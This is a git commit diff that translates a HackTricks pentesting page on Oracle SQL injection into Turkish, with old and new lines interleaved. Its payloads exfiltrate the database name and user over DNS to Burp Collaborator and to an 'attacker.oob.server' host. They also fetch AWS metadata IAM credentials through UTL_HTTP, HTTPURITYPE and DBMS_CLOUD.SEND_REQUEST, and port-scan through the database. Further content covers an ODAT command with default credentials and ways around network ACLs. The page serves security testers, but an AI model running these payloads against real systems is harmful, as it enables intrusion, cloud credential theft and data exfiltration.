Translated ['src/pentesting-web/sql-injection/oracle-injection.md'] to t

This commit is contained in:
Translator 2025-08-20 00:35:56 +00:00
parent 03e6c98305
commit ef8238fb37

View File

@ -2,15 +2,15 @@
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}
**Bu gönderiyi [https://ibreak.software/2020/06/using-sql-injection-to-perform-ssrf-xspa-attacks/](https://ibreak.software/2020/06/using-sql-injection-to-perform-ssrf-xspa-attacks/) adresindeki silinmiş gönderinin wayback makinesi kopyasıyla sunun.** **Bu gönderiyi [https://ibreak.software/2020/06/using-sql-injection-to-perform-ssrf-xspa-attacks/](https://ibreak.software/2020/06/using-sql-injection-to-perform-ssrf-xspa-attacks/) adresindeki silinmiş gönderinin wayback machine kopyasıyla sunun.**
## SSRF ## SSRF
Oracle kullanarak Out of Band HTTP ve DNS istekleri yapmak iyi belgelenmiştir, ancak bu, enjeksiyonlarda SQL verilerini dışarı sızdırmanın bir yolu olarak kullanılır. Bu teknikleri/fonksiyonları her zaman diğer SSRF/XSPA'ları yapmak için değiştirebiliriz. Oracle kullanarak Out of Band HTTP ve DNS istekleri yapmak iyi belgelenmiştir, ancak bu, enjeksiyonlarda SQL verilerini dışarı sızdırmak için bir yöntemdir. Bu teknikleri/fonksiyonları her zaman diğer SSRF/XSPA'ları yapmak için değiştirebiliriz.
Oracle kurmak gerçekten acı verici olabilir, özellikle de komutları denemek için hızlı bir örnek kurmak istiyorsanız. Arkadaşım ve [Appsecco](https://appsecco.com) ile iş arkadaşım [Abhisek Datta](https://github.com/abhisek), t2.large AWS Ubuntu makinesinde ve Docker ile bir örnek kurmamı sağlayan [https://github.com/MaksymBilenko/docker-oracle-12c](https://github.com/MaksymBilenko/docker-oracle-12c) adresini bana gösterdi. Oracle'ı kurmak gerçekten acı verici olabilir, özellikle de komutları denemek için hızlı bir örnek kurmak istiyorsanız. [Appsecco](https://appsecco.com) şirketindeki arkadaşım ve meslektaşım [Abhisek Datta](https://github.com/abhisek), bana bir t2.large AWS Ubuntu makinesinde ve Docker'da bir örnek kurmamı sağlayan [https://github.com/MaksymBilenko/docker-oracle-12c](https://github.com/MaksymBilenko/docker-oracle-12c) adresini gösterdi.
Docker komutunu `--network="host"` bayrağı ile çalıştırdım, böylece bu blog yazısının süresince Oracle'ı tam ağ erişimi ile yerel bir kurulum olarak taklit edebildim. Bu blog yazısının süresince Oracle'ı tam ağ erişimi ile yerel bir kurulum olarak taklit edebilmek için `--network="host"` bayrağı ile docker komutunu çalıştırdım.
``` ```
docker run -d --network="host" quay.io/maksymbilenko/oracle-12c docker run -d --network="host" quay.io/maksymbilenko/oracle-12c
``` ```
@ -37,19 +37,19 @@ Arama aşağıdaki sonuçları döndürdü (hepsi dışa ağ bağlantısı gerç
- DBMS_STREAMS_ADM - DBMS_STREAMS_ADM
- UTL_HTTP - UTL_HTTP
Bu kaba aramaıkça `DBMS_LDAP` gibi paketleri atlıyor (bir ana bilgisayar adı ve port numarası geçişine izin verir) çünkü [belgelendirme sayfası](https://docs.oracle.com/database/121/ARPLS/d_ldap.htm#ARPLS360) sizi [farklı bir konuma](https://docs.oracle.com/database/121/ARPLS/d_ldap.htm#ARPLS360) yönlendiriyor. Bu nedenle, dışa istekler yapmak için kötüye kullanılabilecek başka Oracle paketleri de olabilir, bunları atlamış olabilirim. Bu kaba arama, `DBMS_LDAP` gibi paketleri açıkça atlıyor (bir ana bilgisayar adı ve port numarası geçişine izin verir) çünkü [belgelendirme sayfası](https://docs.oracle.com/database/121/ARPLS/d_ldap.htm#ARPLS360) sizi [farklı bir konuma](https://docs.oracle.com/database/121/ARPLS/d_ldap.htm#ARPLS360) yönlendiriyor. Bu nedenle, dışa istekler yapmak için kötüye kullanılabilecek başka Oracle paketleri de olabilir, bunları atlamış olabilirim.
Her durumda, keşfettiğimiz ve yukarıda listelediğimiz bazı paketlere bir göz atalım. Her durumda, keşfettiğimiz ve yukarıda listelediğimiz bazı paketlere bir göz atalım.
**DBMS_LDAP.INIT** **DBMS_LDAP.INIT**
`DBMS_LDAP` paketi, LDAP sunucularından veri erişimine izin verir. `init()` fonksiyonu, bir LDAP sunucusuyla bir oturum başlatır ve bir ana bilgisayar adı ve port numarasını argüman olarak alır. `DBMS_LDAP` paketi, LDAP sunucularından veri erişimine olanak tanır. `init()` fonksiyonu, bir LDAP sunucusuyla bir oturum başlatır ve bir ana bilgisayar adı ve port numarasını argüman olarak alır.
Bu fonksiyon, aşağıdaki gibi DNS üzerinden veri sızdırma gösteren belgelenmiştir. Bu fonksiyon, aşağıdaki gibi DNS üzerinden veri sızdırma gösterimi için daha önce belgelenmiştir.
``` ```
SELECT DBMS_LDAP.INIT((SELECT version FROM v$instance)||'.'||(SELECT user FROM dual)||'.'||(select name from V$database)||'.'||'d4iqio0n80d5j4yg7mpu6oeif9l09p.burpcollaborator.net',80) FROM dual; SELECT DBMS_LDAP.INIT((SELECT version FROM v$instance)||'.'||(SELECT user FROM dual)||'.'||(select name from V$database)||'.'||'d4iqio0n80d5j4yg7mpu6oeif9l09p.burpcollaborator.net',80) FROM dual;
``` ```
Ancak, fonksiyonun bir ana bilgisayar adı ve bir port numarasını argüman olarak kabul ettiğini göz önünde bulundurursak, bunu bir port tarayıcı gibi çalıştırmak için de kullanabilirsiniz. Ancak, fonksiyonun bir ana bilgisayar adı ve bir port numarasını argüman olarak kabul ettiğini göz önünde bulundurursak, bunu bir port tarayıcı gibi çalışmak için de kullanabilirsiniz.
İşte birkaç örnek İşte birkaç örnek
``` ```
@ -58,7 +58,7 @@ SELECT DBMS_LDAP.INIT('scanme.nmap.org',25) FROM dual;
SELECT DBMS_LDAP.INIT('scanme.nmap.org',80) FROM dual; SELECT DBMS_LDAP.INIT('scanme.nmap.org',80) FROM dual;
SELECT DBMS_LDAP.INIT('scanme.nmap.org',8080) FROM dual; SELECT DBMS_LDAP.INIT('scanme.nmap.org',8080) FROM dual;
``` ```
`ORA-31203: DBMS_LDAP: PL/SQL - Init Failed.` hatası, bir oturum değerinin portun açık olduğunu göstermesine rağmen portun kapalı olduğunu gösterir. `ORA-31203: DBMS_LDAP: PL/SQL - Init Failed.` hatası, portun kapalı olduğunu gösterirken, bir oturum değeri portun açık olduğunu işaret ediyor.
**UTL_SMTP** **UTL_SMTP**
@ -84,7 +84,7 @@ END;
`UTL_TCP` paketi ve prosedürleri ile fonksiyonları, [hizmetlerle TCP/IP tabanlı iletişim](https://docs.oracle.com/cd/B28359_01/appdev.111/b28419/u_tcp.htm#i1004190) sağlar. Belirli bir hizmet için programlandığında, bu paket ağa giriş yapmak veya tüm Sunucu Tarafı İsteklerini gerçekleştirmek için kolayca bir yol haline gelebilir, çünkü bir TCP/IP bağlantısının tüm yönleri kontrol edilebilir. `UTL_TCP` paketi ve prosedürleri ile fonksiyonları, [hizmetlerle TCP/IP tabanlı iletişim](https://docs.oracle.com/cd/B28359_01/appdev.111/b28419/u_tcp.htm#i1004190) sağlar. Belirli bir hizmet için programlandığında, bu paket ağa giriş yapmak veya tüm Sunucu Tarafı İsteklerini gerçekleştirmek için kolayca bir yol haline gelebilir, çünkü bir TCP/IP bağlantısının tüm yönleri kontrol edilebilir.
Oracle dokümantasyon sitesindeki [örnek, bu paketi kullanarak bir web sayfasını almak için ham bir TCP bağlantısı nasıl yapılacağını göstermektedir](https://docs.oracle.com/cd/B28359_01/appdev.111/b28419/u_tcp.htm#i1004190). Bunu biraz daha basitleştirip, örneğin metadata örneğine veya keyfi bir TCP/IP hizmetine istek yapmak için kullanabiliriz. Oracle dokümantasyon sitesindeki [örnek, bu paketi kullanarak bir web sayfasını almak için ham bir TCP bağlantısı nasıl yapabileceğinizi gösterir](https://docs.oracle.com/cd/B28359_01/appdev.111/b28419/u_tcp.htm#i1004190). Bunu biraz daha basitleştirip, örneğin metadata örneğine veya keyfi bir TCP/IP hizmetine istek yapmak için kullanabiliriz.
``` ```
set serveroutput on size 30000; set serveroutput on size 30000;
SET SERVEROUTPUT ON SET SERVEROUTPUT ON
@ -128,18 +128,101 @@ END;
**UTL_HTTP ve Web İstekleri** **UTL_HTTP ve Web İstekleri**
Belki de her Out of Band Oracle SQL Injection eğitiminde en yaygın ve en çok belgelenmiş teknik [`UTL_HTTP` paketi](https://docs.oracle.com/database/121/ARPLS/u_http.htm#ARPLS070) dir. Bu paket, belgelerde şu şekilde tanımlanmıştır - `UTL_HTTP paketi, SQL ve PL/SQL'den Hypertext Transfer Protocol (HTTP) çağrıları yapar. HTTP üzerinden İnternetteki verilere erişmek için kullanabilirsiniz.` Belki de her Out of Band Oracle SQL Injection eğitiminde en yaygın ve en çok belgelenmiş teknik [`UTL_HTTP` paketi](https://docs.oracle.com/database/121/ARPLS/u_http.htm#ARPLS070) dir. Bu paket, belgelerde şu şekilde tanımlanmıştır - `UTL_HTTP paketi, SQL ve PL/SQL'den Hypertext Transfer Protocol (HTTP) çağrıları yapar. HTTP üzerinden İnternetteki verilere erişmek için kullanılabilir.`
``` ```
select UTL_HTTP.request('http://169.254.169.254/latest/meta-data/iam/security-credentials/adminrole') from dual; select UTL_HTTP.request('http://169.254.169.254/latest/meta-data/iam/security-credentials/adminrole') from dual;
``` ```
Ayrıca, bunu şu tür sorgularla bazı temel port taramaları gerçekleştirmek için de kullanabilirsiniz: Ayrıca, bunu şu tür sorgularla bazı temel port taramaları gerçekleştirmek için de kullanabilirsiniz.
``` ```
select UTL_HTTP.request('http://scanme.nmap.org:22') from dual; select UTL_HTTP.request('http://scanme.nmap.org:22') from dual;
select UTL_HTTP.request('http://scanme.nmap.org:8080') from dual; select UTL_HTTP.request('http://scanme.nmap.org:8080') from dual;
select UTL_HTTP.request('http://scanme.nmap.org:25') from dual; select UTL_HTTP.request('http://scanme.nmap.org:25') from dual;
``` ```
`ORA-12541: TNS:no listener` veya `TNS:operation timed out` hatası, TCP portunun kapalı olduğunu gösterirken, `ORA-29263: HTTP protocol error` veya veri, portun açık olduğunu gösterir. `ORA-12541: TNS:no listener` veya `TNS:operation timed out` hatası, TCP portunun kapalı olduğunun bir işaretiyken, `ORA-29263: HTTP protocol error` veya veri, portun açık olduğunun bir işareti.
Geçmişte çeşitli başarılarla kullandığım başka bir paket, bir URL ile etkileşimde bulunmanıza ve HTTP protokolünü desteklemenize olanak tanıyan [`HTTPURITYPE` Oracle soyut türünün `GETCLOB()` yöntemi](https://docs.oracle.com/database/121/ARPLS/t_dburi.htm#ARPLS71705)'dir. `GETCLOB()` yöntemi, bir URL'den GET yanıtını [CLOB veri türü olarak](https://docs.oracle.com/javadb/10.10.1.2/ref/rrefclob.html) almak için kullanılır. [select HTTPURITYPE('http://169.254.169.254/latest/meta-data/instance-id').getclob() from dual; Geçmişte çeşitli başarılarla kullandığım başka bir paket, bir URL ile etkileşimde bulunmanıza ve HTTP protokolünü desteklemenize olanak tanıyan [`HTTPURITYPE` Oracle soyut türünün `GETCLOB()` yöntemi](https://docs.oracle.com/database/121/ARPLS/t_dburi.htm#ARPLS71705)'dir. `GETCLOB()` yöntemi, bir URL'den GET yanıtını [CLOB veri türü olarak](https://docs.oracle.com/javadb/10.10.1.2/ref/rrefclob.html) almak için kullanılır.
```
SELECT HTTPURITYPE('http://169.254.169.254/latest/meta-data/instance-id').getclob() FROM dual;
```
---
## Ek Paketler ve Teknikler (Oracle 19c → 23c)
### UTL_INADDR DNS tabanlı dışa aktarma ve host keşfi
`UTL_INADDR`, veritabanı sunucusundan dışa doğru bir DNS sorgusu tetikleyen basit ad çözümleme yardımcılarınıığa çıkarır. Sadece bir alan adı gerektiğinden (port/ACL gerekmez) diğer ağ çağrıları engellendiğinde kör dışa aktarma için güvenilir bir ilkelidir.
```sql
-- Leak the DB name and current user via a DNS query handled by Burp Collaborator
SELECT UTL_INADDR.get_host_address(
(SELECT name FROM v$database)||'.'||(SELECT user FROM dual)||
'.attacker.oob.server') FROM dual;
```
`get_host_address()` çözümlenen IP'yi döndürür (veya çözümleme başarısız olursa `ORA-29257` hatası verir). Saldırgan, kodun çalıştığını doğrulamak için kontrol edilen alandaki gelen DNS isteğini izlemek zorundadır.
### DBMS_CLOUD.SEND_REQUEST Otonom/23c üzerinde tam HTTP istemcisi
Son zamanlarda bulut merkezli sürümler (Otonom Veritabanı, 21c/23c, 23ai) `DBMS_CLOUD` ile birlikte gelir. `SEND_REQUEST` fonksiyonu, özel fiiller, başlıklar, TLS ve büyük gövdeleri destekleyen genel amaçlı bir HTTP istemcisi olarak işlev görür ve bu da onu klasik `UTL_HTTP`'den çok daha güçlü hale getirir.
```sql
-- Assuming the current user has CREATE CREDENTIAL and network ACL privileges
BEGIN
-- empty credential when no auth is required
DBMS_CLOUD.create_credential(
credential_name => 'NOAUTH',
username => 'ignored',
password => 'ignored');
END;
/
DECLARE
resp DBMS_CLOUD_TYPES.resp;
BEGIN
resp := DBMS_CLOUD.send_request(
credential_name => 'NOAUTH',
uri => 'http://169.254.169.254/latest/meta-data/',
method => 'GET',
timeout => 3);
dbms_output.put_line(DBMS_CLOUD.get_response_text(resp));
END;
/
```
Çünkü `SEND_REQUEST` rastgele hedef URI'lerine izin veriyor, SQLi aracılığıyla kötüye kullanılabilir:
1. Dahili port taraması / SSRF bulut meta veri hizmetlerine.
2. HTTPS üzerinden dışarıdan veri sızdırma (Burp Collaborator veya bir `ngrok` tüneli kullanın).
3. Eski çağrı paketleri ACL'ler tarafından devre dışı bırakıldığında bile saldırgan sunuculara geri çağırmalar.
Eğer sadece klasik bir yerel 19c'ye sahipseniz ama Java saklı prosedürleri oluşturabiliyorsanız, bazen OCI istemci paketi üzerinden `DBMS_CLOUD` yükleyebilirsiniz — bazı angajmanlarda faydalıdır.
### **ODAT** ile saldırı yüzeyini otomatikleştirme
[ODAT Oracle Database Attacking Tool](https://github.com/quentinhardy/odat) modern sürümlerle uyumlu kalmıştır (19c, 5.1.1 Nisan-2022'ye kadar test edilmiştir). `utl_http`, `utl_tcp`, `httpuritype` ve daha yeni `dbms_cloud` modülleri otomatik olarak:
* Kullanılabilir çağrı paketlerini/ACL izinlerini tespit eder.
* Kör çıkarım için DNS ve HTTP geri çağırmalarını tetikler.
* Burp/SQLMap için kopyalamaya hazır SQL yükleri oluşturur.
Örnek: varsayılan kimlik bilgileri ile hızlı OOB kontrolü (arka planda ACL numaralandırmasını halleder):
```bash
odat all -s 10.10.10.5 -p 1521 -d XE -U SCOTT -P tiger --modules oob
```
### Son ağ ACL kısıtlamaları ve atlatmalar
Oracle, Temmuz 2023 CPU'sunda varsayılan Ağ ACL'lerini sıkılaştırdı — yetkisiz hesaplar artık varsayılan olarak `ORA-24247: network access denied by access control list` alıyor. İki desen, SQLi aracılığıyla çağrılara izin vermeye devam ediyor:
1. Hedef hesap, bir geliştirici tarafından entegrasyonlar için eklenen bir ACL girişine (`DBMS_NETWORK_ACL_ADMIN.create_acl`) sahiptir.
2. Saldırgan, *zaten* `AUTHID DEFINER` ve gerekli yetkilere sahip olan yüksek ayrıcalıklı bir PL/SQL tanımlayıcı hakları rutinini (örneğin, özel bir uygulamada) kötüye kullanır.
Sömürü sırasında `ORA-24247` ile karşılaşırsanız, her zaman yeniden kullanılabilir prosedürler arayın:
```sql
SELECT owner, object_name
FROM dba_objects
WHERE object_type = 'PROCEDURE'
AND authid = 'DEFINER';
```
(müfettişliklerde en az bir raporlama/ihracat prosedürü gerekli haklara sahipti).
---
## Referanslar
* Oracle Belgeleri `DBMS_CLOUD.SEND_REQUEST` paketi tanımı ve örnekleri.
* quentinhardy/odat Oracle Veritabanı Saldırı Aracı (son sürüm 5.1.1, Nis-2022).
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}